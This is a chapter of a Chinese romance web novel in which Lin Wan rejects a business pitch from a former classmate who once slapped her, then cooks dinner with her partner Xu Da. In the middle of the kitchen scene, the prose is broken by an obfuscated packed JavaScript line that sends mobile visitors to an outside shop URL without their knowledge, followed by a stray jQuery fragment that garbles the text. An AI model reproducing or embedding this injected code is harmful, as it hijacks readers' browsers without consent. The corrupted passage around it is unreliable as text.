林晚到家的时候，已经快凌晨两点了。
她脱掉大衣，扔在玄关的椅子上，高跟鞋用脚踢掉，一只飞到了沙发底下，另一只歪倒在走廊中间。
她没捡。她连刷牙的力气都快没了，只洗了把脸，换了件旧T恤，一头栽进枕头里。
床单是凉的，带着洗衣液淡淡的皂香。
窗外芝加哥的风像一头被关在城市外面的野兽，拿这座楼没办法，就只能扯着嗓子叫。
林晚闭上眼睛，脑子里还在放电影。
沈若棠的眼泪。陈屿洲的名片。何知薇说的“下注你们什么时候撕起来”。
她翻了个身，把脸埋进枕头里，闷闷地叹了一口气。
那些画面像碎纸机里的纸条，转啊转啊，转了一会儿，终于慢慢散开了。
她睡着了。
没有梦。
即使梦了什么，但醒来的时候一切都不记得。
这大概是林晚对自己最满意的地方——不管白天发生了什么，她都能睡着。
这是一种天赋，也是一种技能，是她在哥大图书馆地下室里练出来的。
那时候她每天只睡四个小时，困到极致的时候，趴在桌上就能睡，头顶的日光灯管嗡嗡响，像某种催眠曲。
后来她把这技能带到了期货市场。不管今天亏了多少钱，躺下就睡。明天的事明天再说。
这一觉睡得很沉，沉到她感觉自己像是从悬崖上掉下去，一直往下坠，坠了很久，还没到底。
然后手机响了。
震动加铃声，在床头柜上嗡嗡地转圈，像一只被困住的虫子。
林晚伸出手，在床头柜上摸了几下，把手机捞过来，眯着眼睛看了一眼屏幕——
八点零三分。
周六。
屏幕上显示着一个芝加哥的号码，她不认识。
犹豫了一下，接了。
“喂？”
“林晚？是我，陈屿洲。”
林晚的眼睛还没完全睁开。
她把手机从耳朵边拿开一点，看了一眼屏幕，确认自己没看错。
然后她把手机贴回耳朵，没说话。
不是故意不说话的。是她的大脑还没启动。
八点零三分，周六早上，一个十年没联系的人打电话来——她的处理器还在加载。
“林晚？”陈屿洲又叫了一声。
“嗯。”她说，“听到了。”
“你还在睡？”陈屿洲的语气里带着一点意外。
林晚没回答这个问题。
“什么事？”她问。
陈屿洲顿了一下。
“你今天休息吧？”他说，“有空出来坐坐吗？我们聊聊昨天说的那个合作的事。”
林晚闭着眼睛，把手机放在枕头边上，开了免提。
陈屿洲的声音从手机里传出来，像隔了一层什么东西，听起来没有那么低沉了，反而有一点紧，像一根绷着的弦。
“我今天没什么安排，”他说，“你住哪？我过去接你。”
“不用。”林晚说。
她睁开眼睛，盯着天花板。天花板上有一盏灯，圆形的，乳白色的灯罩，她搬进来的时候就觉得这盏灯不好看，但一直没换。
她不想见陈屿洲。
这不是一个情绪化的决定。这是一个理性的判断。
见陈屿洲没有任何好处。他不是来道歉的，不是来叙旧的，他是来“聊合作”的——换句话说，他是来从她身上拿东西的。
她不想给他。
但她找不到一个合适的理由拒绝。
不是没有理由。理由太多了。但每一个说出来，都会显得她还在意过去。
“我不去，因为我不想见你。”——这句话太像“我还记着十年前那巴掌”。
“我不去，因为周六是我自己的时间。”——这句话太像借口。
“我不去，因为我跟你不熟。”——这句话是真的，但在社交礼仪上，拒绝一个“聊合作”的邀约，需要比“不熟”更体面的理由。
林晚盯着那盏灯看了三秒钟。
“行。”她说，“中午十二点，中国城，新荣记。我正好要去那边买菜。”
她挂了电话，把手机扔在枕头旁边，翻了个身，把被子蒙在头上。
还有将近四个小时。
她可以再睡一会儿，但她睡不着了。
八点十三分，周六早上，她躺在床上，盯着被子上的花纹，脑子里只有一个念头：
我为什么要说行？
***
林晚到中国城的时候，差十分十二点。
没有刻意早到，也没有刻意迟到。
她穿了一件灰色的卫衣，牛仔裤，运动鞋。头发扎了一个低马尾，没有化妆。脸上什么也没搽，连润唇膏都没涂。
站在新荣记门口，看了一眼橱窗里挂着的烧鸭，油亮亮的，在灯光下泛着琥珀色的光。
陈屿洲还没到。
她没等他，直接推门进去了。
新荣记是一家老式的粤式茶楼，红椅子、圆桌子、推车仔。服务员穿着粉红色的制服，推着不锈钢的小车在桌子之间穿来穿去，车上堆着一笼一笼的点心，冒着热气。
林晚挑了一张靠窗的桌子坐下来。
窗外的街上人来人往，林晚拿起桌上的菜单，翻了两页。
一个服务员走过来，问她喝什么茶。
“普洱。”她说。
林晚把菜单放下，靠在椅背上，看着窗外的街。
她来过这条街很多次。
毕业刚回芝加哥的时候，她没有再跟爸妈住一起，而是住在中国城附近的一间分租房里，房间小到只能放一张床和一个衣柜，窗户对着另一栋楼的墙，什么都看不见。
那时候她每周来这条街上的华人超市买菜，买最便宜的青菜和冻鸡腿，回去用电饭锅煮面吃。
后来她搬走了。搬到了市中心的高级公寓里，但她还是每周来中国城买菜。
不是因为便宜——虽然确实比Whole Foods便宜很多——是因为习惯。在这里买东西的时候，收银员跟她说中文，叫她“妹妹”，问她“今天怎么这么晚”。
这些小事不会让你觉得温暖，但会让你觉得，你还在这个世界上。
林晚的普洱还没上来，陈屿洲就到了。
他推门进来的时候，林晚一眼就看见了他。
他确实显眼，穿了一件深蓝色的羊绒衫，袖子卷到小臂，露出一截手表。
站在门口，目光扫了一圈，找到林晚之后，陈屿洲脸上出现了一丝松弛。
陈屿洲走过来，在林晚对面坐下。
“你来这么早？”
“我坐地铁。”林晚说，“地铁不等人。”
陈屿洲看了看她没化妆的脸。
“你没睡好？”陈屿洲问。
“本来睡得挺好。”林晚说，“八点被你吵醒的。”
林晚把菜单推过去，陈屿洲接过菜单，翻了两页，然后合上了。
“我请你。”他说，“想吃什么就点。”
林晚看了他一眼。
“不用请。”她说，“各付各的。”
“别客气了，”陈屿洲笑了一下，那个笑容很好看，牙齿很白，“昨天同学聚会没怎么聊，今天补上。”
林晚没接话，拿起菜单，随便点了几样：虾饺、烧卖、凤爪、叉烧包。然后把菜单递给服务员。
陈屿洲又加了一份干炒牛河和一壶铁观音。
点心上来的时候，热气腾腾的，笼屉的盖子一掀开，白雾涌出来，裹着虾和肉的香气。
陈屿洲用公筷夹了一个虾饺放到林晚的碟子里。
林晚看着那个虾饺。
透明的皮，粉色的馅，折成漂亮的褶子，像一个精致的小钱包。
她没有吃。
“陈屿洲，你想跟我聊什么合作？”
陈屿洲正在倒茶，茶壶倾斜的角度停住了，茶水差点溢出来。
他把茶壶放下。
“你一直都这么直接吗？”他问。
“不。”林晚说，“我只在不想浪费时间的时候直接。”
“好吧。”陈屿洲说，“龙腾集团在做一个新的物流项目，需要期货对冲。CME是你每天打交道的地方，如果你愿意，可以以顾问的身份加入。”
“顾问费多少？”
陈屿洲报了一个数字。
林晚在心里算了一下。那个数字不算小，但对龙腾的体量来说，也不算大。
“这是你个人的意思，还是龙腾的意思？”林晚问。
“我的意思。”陈屿洲说。
林晚点了点头。
她夹起面前的虾饺，咬了一口。
虾肉很新鲜，弹牙，带着淡淡的笋香。
“陈屿洲，你是不是在龙商会呆不下去了？”
陈屿洲的脸色变了，像是被人踩到了尾巴。
“什么意思？”陈屿洲问。
林晚又夹了一个烧卖。
“龙商会的老大姓陈，”林晚说，“你是他的养子。龙腾集团表面上是你爸的，但实际上，这几年你爸把越来越多的生意交给了自己的亲儿子——你那个没有血缘关系的哥哥。”
陈屿洲没有说话。
林晚继续说：“你被边缘化了。物流项目是你最后的机会。如果做不成，你在龙腾的位置就真的变成一个虚职了。”
陈屿洲坐在那里，一动不动。
他的手放在桌上，手指微微弯曲，指尖抵着桌面，像在用力按住什么东西。
茶楼的嘈杂声像潮水一样涌过来。
隔壁桌有人在讲电话，声音很大。
推车仔的服务员从他们身边经过，轮子碾过地砖，发出咕噜咕噜的声响。
“你怎么知道的？”陈屿洲问。
“芝加哥不大。”林晚说，“做期货的人，消息比做地产的人灵通。”
这是真话，她之所以知道这些，是在CME的某个交易员聚会上，听到有人提起“龙腾那个养子”，她多听了几句。
陈屿洲端起茶杯，喝了一口。茶已经凉了。
“你说得对。我被边缘化了。”
“我爸三年前把龙腾的大部分生意交给了他亲儿子陈屿安。我名义上还是龙腾的副总裁，但实际上手里没什么实权。物流项目是我争取来的，也是我最后的机会。”
他顿了一下。
“我需要一个懂期货的人帮我。不是因为期货有多复杂——我可以请任何一家投行来做。但那些投行的人，他们不姓陈。他们拿了钱就走，不会真的站在我这边。”
陈屿洲看着林晚。
“林晚，你和他们不一样。你跟我，都是靠自己杀出来的。”
林晚靠在椅背上，看着陈屿洲。
她忽然觉得他很可怜。
“陈屿洲，我跟你不一样。”
“哪里不一样？”
“你靠的是你爸的姓。哪怕是个养子，你也姓陈。你开的车、住的豪宅、在芝加哥华人圈子里所有的资源，都是因为你姓陈。”
“我不姓任何人的姓。我爸妈在华人工厂里缝了二十年衣服。我靠的是我自己。”
陈屿洲张了张嘴，想说什么，但没说出来。
“你说的那个项目，”林晚说，“我不感兴趣。不是因为钱少。是因为我不想跟你有任何工作上的关系。”
“为什么？”
林晚看着他，看了两秒钟。
“你真的不知道？”她问。
陈屿洲的眼神闪了一下。
他知道，但他永远不会说。
因为他一旦说出来，他就必须面对那个事实——十年前，他打了一个女孩，不是因为那个女孩做错了什么，而是因为他需要讨好另一个女孩。
林晚不想帮他消化这个事实。
“我吃饱了。”林晚说，从口袋里掏出钱包，抽出一张二十刀的纸币放在桌上，“这是我这部分的钱。你数一下，应该够了。”
她站起来，拿起挂在椅背上的帆布包。
“林晚。”陈屿洲叫住她，“你就不能——给个机会？”
林晚转过身看着他。
“什么机会？”
“我想道歉——”
“你不用道歉。我已经不怪你了。但那不代表我想跟你做朋友，或者做同事。”
陈屿洲的表情变得尴尬且不甘。
“你就这么恨我？”他问。
“我不恨你。但不代表我必须喜欢你。”
林晚转身走了。
***
林晚出了茶楼的门，往左拐，走了大概两百米，到了那家她常去的华人超市。
超市的名字叫“大华”，但招牌上的“华”字的偏旁掉了，变成了“大化”。老板一直没修。
超市里面灯光昏暗，货架上堆着各种从中国运过来的东西：老干妈、王致和、康师傅、洽洽瓜子。空气里弥漫着一股混合的味道——酱油、鱼露、榴莲、还有冷冻柜里散出来的冷气。
林晚拿了一个购物篮，开始逛。
她逛超市的习惯是固定的：先走一圈，看看有什么新东西，然后再回去拿需要的东西。这不是效率最高的方式，但她喜欢这样。喜欢那种在货架之间慢慢走、东看看西看看的感觉。
她拿了一袋大米、一桶油、两包挂面、一瓶酱油、一瓶醋、一包花椒、一袋红枣、一盒豆腐、一把青菜、一盒鸡翅、一包速冻水饺。
购物篮越来越沉，她的手臂开始发酸。
她把篮子放在地上，甩了甩手。
然后她看见陈屿洲了。
他站在冷冻柜前面，手里什么都没拿，正朝她这个方向看。
林晚皱了皱眉，继续往前走。
身后传来脚步声。
“林晚。”
她没停。
“林晚，你等一下。”
她停了。
“你到底想干什么？”林晚问。
“我想跟你谈谈。”
“谈什么？”
“谈——我也不知道。”陈屿洲说，语气里带着一种罕见的坦诚，“我就是不想让你就这么走了。”
“你是没事干吗？”林晚问，“周六，你不用去公司？不用去应酬？不用去——”
“不用。我没有什么事是非做不可的。”
林晚愣了一下。
陈屿洲的语气里有一种很深的疲惫，是那种“每天在做一件可有可无的事”的累。
“你跟着我没用。”林晚说，“我不会帮你做那个项目。”
她任由陈屿洲在后面跟着。
不远不近，大概四五步的距离。不说话。不帮忙。就跟着。
像一个迷路的人，找不到别的路，就只能跟着前面的人走。
林晚在收银台排队的时候，他站在她后面。她付钱的时候，他从口袋里掏出一张信用卡，递过去。
“一起的。”他说。
收银员看了看他，又看了看林晚。
“不用。”林晚说，把信用卡推回去，“各付各的。”
她把现金递给收银员，找了零，塞进口袋。然后拎起那两大袋东西，走出超市。
陈屿洲跟了出来。
“我送你。”他说。
“不用。我坐地铁。”
“东西太重了。我开车送你。”
“我说了不用。”
“林晚——”
“陈、屿、洲。”林晚停下来，转过身，“你送我到家门口，我说谢谢，再见。然后呢？你明天再打电话？你再约我出来？你再跟着我逛超市？”
陈屿洲没说话。
“你到底想要什么？”林晚问，“你想让我原谅你？我已经原谅你了。你想让我帮你做项目？我不会帮你。你想让我跟你做朋友？我们不是朋友。我们从来都不是朋友。”
陈屿洲站在那里，手里还拿着那张信用卡，像一个被审问的人，找不到一个站得住脚的答案。
“别再跟着我，我跟你，没、有、半、点、关、系。”
她转身走了大概十步，听见陈屿洲在身后说：
“如果我当时没有打你呢？”
林晚没有回头。
***
林晚走到地铁站入口的时候，发现陈屿洲没有跟上来。
她下了楼梯，刷卡进站，站在站台上等车。
地铁站里有一股尿骚味和消毒水混合的味道。
墙上贴着一张海报，上面写着“See Something, Say Something”，一个戴着头巾的女人对着镜头微笑。
林晚看着那张海报，忽然觉得很好笑。
See Something, Say Something。
看见什么，就说什么。
她今天说得够多了。
如果陈屿洲没有打她，她现在可能不会坐在CME的办公室里做期货经理。她可能会去一个普通大学，找一个普通工作，嫁给一个普通人。
也可能会更好。也可能会更差。
“如果”是一个没有底的黑洞。你盯着它看，它就把你吸进去。
地铁来了。她拎着两大袋东西上了车，找了个座位坐下，把袋子放在脚边。
车厢里人不多。对面坐着一个黑人老头，戴着耳机，头一点一点的，像是在打瞌睡。
旁边坐着一个亚裔女孩，穿着校服，膝盖上摊着一本数学练习册，在草稿纸上飞快地演算着什么。
林晚看着那个女孩，她的帆布鞋是旧的，鞋带也打了一个结。
她闭上眼睛，地铁晃了一下，启动了。
窗外的隧道墙壁上闪过一串涂鸦，红的、蓝的、绿的，像一个喝醉了的人在写字。
***
林晚住的地方叫The Reed，一栋位于芝加哥Loop区的公寓楼，离CME的办公楼只有六个街区。
这栋楼的大堂很高，大概有两层楼那么高，吊灯从天花板垂下来，像一串倒挂的冰柱。
前台永远坐着一个人，穿黑色西装，戴耳麦，看起来不像门卫，倒像酒店大堂经理。
林晚拎着两大袋东西推门进去的时候，前台那个叫Marcus的黑人小哥抬头看了她一眼。
“林女士，需要帮忙吗？”Marcus问。
“不用，谢谢。”林晚说。
她走到电梯口，按了上行键。
电梯到了，她走进去，按了二十二楼。
电梯门关上的时候，她看见陈屿洲站在大堂门口。
他透过玻璃门看着她。
Marcus站起来，走到门口，跟他说了什么。陈屿洲指了指电梯的方向，Marcus摇了摇头，做了一个“请回”的手势。
电梯门关上了。
林晚靠在电梯壁上，手里拎着那两个沉重的塑料袋，手指被勒出了两道红印。
她忽然理解了陈屿洲的疲惫。
一个人在家族企业里被边缘化，没有实权，没有方向，每天醒来不知道为什么要起床。
十年前那个不可一世的陈屿洲，现在疲惫得没有明天。
***
电梯到了二十二楼。
林晚走到2208号，掏出钥匙，开了门。
公寓里很安静。
窗帘拉着，客厅的光线很暗。
林晚把塑料袋放在厨房的台面上，一边收拾一边想，等会儿煮什么吃。
冰箱里还有昨天剩的半只烤鸡，可以撕了拌面。或者煮一锅粥，配咸鸭蛋。或者——
“你回来了？”
一个男人的声音从卧室方向传来，带着刚睡醒的沙哑，像一把很久没用的大提琴，弦还松着。
林晚的手顿了一下。
“买了菜。你想吃什么？”
“你买了什么？”
“青菜，豆腐，鸡翅，挂面。”
“鸡翅吧。可乐鸡翅。”
“没有可乐。你喝完了没买。”
“那红烧的也行。”
身后传来脚步声。拖鞋踩在地板上，啪嗒啪嗒的。
一双手从背后伸过来，环住了她的腰。
一个下巴搁在她肩膀上，带着没刮干净的胡茬，扎得她脖子有点痒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508613|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“几点了？”那个声音问。
“快两点。”
“我睡了这么久？”许达的声音里带着一点意外，“你几点出去的？”
“十一点。”
“那你怎么才回来？”
“遇到一个人。”林晚回答。
许达的手没有松开。
“谁？”
“高中同学。”
“男的女的？”
“男的。”
“男的？”许达说，“大周六的，你出去买菜，遇到一个男的高中同学，然后你跟他聊了快三个小时？”
“没有聊三个小时。”林晚说，把鸡翅放进碗里，倒了一点料酒和生抽，用手抓匀，“吃了顿饭，不到一个小时。然后我去买菜，他跟着。”
“跟着？”
“嗯。从超市跟到地铁站，又从地铁站跟到楼下。”
“然后呢？”
“然后Marcus把他挡在外面了。”
许达笑出了声。
“Marcus不错，”他说，“该涨工资。”
林晚把腌鸡翅的碗放到一边，开始洗青菜。
许达的手还环在她腰上，没有要松手的意思。
“你不问我他是谁？”林晚说。
“你想说的时候会说。”许达说，“你不想说的时候，我问了也白问。”
林晚拧开水龙头，洗手。
水是凉的，冲在手指上，把勒出来的红印冲得更红了。
“他叫陈屿洲。高中打过我巴掌的那个。”
“他想干什么？”许达问。
“想让我帮他做一个项目。”林晚说，“期货的。他爸的公司。”
“你答应了？”
“没有。”
“那他说什么？”
“他说了很多。”林晚关了水，甩了甩手上的水珠，转过身，面对着许达。
许达比她高半个头。他穿着一条灰色的睡裤，上半身光着，露出一片宽阔的胸膛和锁骨下面的一个纹身——一只鹰，翅膀展开，爪子抓着什么字，林晚一直没仔细看过。
他的头发乱糟糟的，眼睛还没完全睁开，眼角有一点眼屎。
他看起来很普通。
不是“好看”的那种普通。是真的普通。放在人群里，你不会多看他一眼。
但林晚喜欢看他。
许达点了点头。
“下次他再跟着你，你告诉我。”
“告诉你干什么？”
“我去跟他说几句话。”
“说什么？”
许达想了一下。
“就说，‘她不想见你，你别来了’。”
林晚看着他，看了两秒钟。
“你不会打他吧？”她问。
许达愣了一下。
“我为什么要打他？”
“因为你看起来像是会打人的那种人。”
许达笑了一下。
“我不会打他，”他说，“除非他先动手。”
林晚没说话。
她转过身，重新面对灶台，拧开火，把锅放上去。
“许达。”她说，背对着他，“你什么时候搬走？”
许达的手还环在她腰上。她感觉到他的手微微僵了一下。
“你想让我搬走？”他问。
林晚把鸡翅倒进锅里。滋啦声更大了，油星溅出来，溅在她手背上，有点疼。
“我没有说想让你搬走。”她说，声音被油烟的噪音压下去了一些，“我问你什么时候搬走。”
“这有什么区别？”
林晚用锅铲翻了翻鸡翅，把火调小了一点，盖上锅盖。
然后她转过身，看着许达。
许达的眉毛皱了一下。
“你的东西太少了，”林晚说，“少到我有时候觉得你随时会消失。”
“我不会消失。”他说。
“你怎么知道？”
“因为我不想。”
林晚转过身，掀开锅盖，继续翻鸡翅。
“酱油在左边柜子里，”她说，“帮我拿一下。”
许达松开了手，走过去，打开柜子，拿出酱油，递给她。
林晚接过来，倒了一点在锅铲上，看了看颜色，又倒了一点。
“够了。”她说。
她把酱油瓶放在一边，盖上锅盖，把火调到最小。
厨房里安静下来了。只有锅盖下面冒出来的咕嘟咕嘟的声音，和窗外偶尔传来的汽车喇叭声。
许达靠在灶台旁边，双手插在睡裤口袋里，看着锅里冒出来的白雾。
“林晚，我今天跟公司说了。”
“说什么？”
“说不干了。”
林晚转过身看着他。
许达的表情很平静。
“为什么？”林晚问。
“因为我不想干了。”许达说，“每天修别人的电脑，装系统，换硬盘，杀病毒。我做这个做了六年了。我做够了。”
“那你打算干什么？”
“不知道。”许达说，“先不干了再说。”
林晚不知道该说什么。
许达这个人，跟她完全不一样。
她做任何决定之前，会算三步。期货交易就是这样的——你买入的时候，已经想好了什么时候卖出。你在哪里止损，你在哪里止盈，你都算好了。
但许达不是。
许达做决定的方式是：不想干了，就不干了。然后再说。
这种活法，林晚不理解，但她羡慕。
“你可以在家待着，”林晚说，“不着急找工作。”
“你这是要养我？”许达问，嘴角带着一点笑。
“我养不起你。”林晚说，“但你可以交一半的房租。”
“好，”许达大笑，“交一半的房租。”
锅里的鸡翅煮好了。林晚关了火，把鸡翅盛出来，撒了一把葱花。
许达从碗柜里拿出两个碗，两双筷子，放在餐桌上。
两个人坐下来，面对面吃饭。
鸡翅烧得刚好，软烂入味，骨头一抽就出来了。
林晚吃了一块，又夹了一块。
“好吃吗？”许达问。
“还行。”林晚说。
“还行就是好吃，”许达说，“你说‘还行’的时候，就是好吃。你说‘一般’的时候，就是还行。你说‘能吃’的时候，就是不好吃。”
“你什么时候总结出来的？”
“认识你三个月的时候。”
林晚想了想。
他们认识多久了？快两年了。
两年前，她的笔记本电脑坏了，在Yelp上找了一家上门维修的公司，派来的人就是许达。
他来的那天，芝加哥下着大雪。他进门的时候，头发上都是雪，肩膀上也是。他站在门口，抖了抖身上的雪，然后蹲下来，把鞋脱了，放在门口。
林晚说不用脱鞋。
他说没事，习惯了。
他修电脑的时候，林晚在旁边看着。他拆螺丝的动作很慢，很仔细，像在做一件很重要的事。
林晚问他，修电脑多久了。
他说，六年了。
林晚说，你不烦吗？
他想了想，说，烦。但烦也要做。
林晚不知道为什么，记住了这句话。
后来电脑修好了。他走了。
第二天，林晚发现充电线忘在包里了。她给他打电话，他说，我明天路过，给你送过去。
他来了。送了充电线。还带了一杯咖啡。
林晚说，你不用带咖啡。
他说，顺路。
后来林晚才知道，他住的地方离她这里坐地铁要四十分钟。一点也不顺路。
再后来，他们就在一起了。
没有告白。没有仪式。就是有一天，他修完电脑没走。她在做饭，他在旁边看着。然后她就多做了一个人的饭。
然后他就没走。
那是一个周六，跟今天一样。
“许达，你不想知道陈屿洲长什么样吗？”
许达嚼着鸡翅，想了想。
“不想。”他说，“我又不是没见过打女生的人。”
林晚放下筷子。
“你见过？”
“修电脑的时候见过。”许达说，“有一个客户，女的，脸上有淤青。她说是撞的。我知道不是。但我没问。”
他顿了一下。
“后来她再也没找我修过电脑。我不知道她是不是搬家了。”
林晚看着许达，许达的眼睛看着碗里的鸡翅。
“你那时候想知道打她的人是谁吗？”林晚问。
许达想了想。
“想。”他说，“但她不会说的。她们通常不会说。”
林晚沉默了几秒。
她想起十年前那个女厕所。
那时候，如果有人问她“谁打的”，她也不会说。
不是因为怕，是因为说了也没用。
“我吃饱了。”林晚说，把碗筷收起来，拿到厨房水槽里。
许达站起来，跟过来，从她手里接过碗。
“我来洗。”他说。
林晚没有推辞。
她靠在厨房的门框上，看着许达洗碗。
他的手很大，手指粗短，指甲修得很干净。他洗碗的方式跟他修电脑一样——慢，仔细，像在做一件很重要的事。
“许达，你可以不搬走。”
许达的手停了一下。
水龙头还在流水，冲在他手背上，溅起细小的水花。
“好。”他说。
他没有回头，但林晚看见他的耳朵红了。
窗外的芝加哥还在刮风。二十二楼的风声比地面上的更大，呜呜的，像有什么东西在远处哭。
但林晚不觉得冷。
她站在厨房门口，看着一个男人在帮她洗碗。
这个男人的名字叫许达。
他不知道期货是什么。他修了六年电脑。他今天辞了职。他不知道明天要干什么。
但他洗碗的时候，很仔细。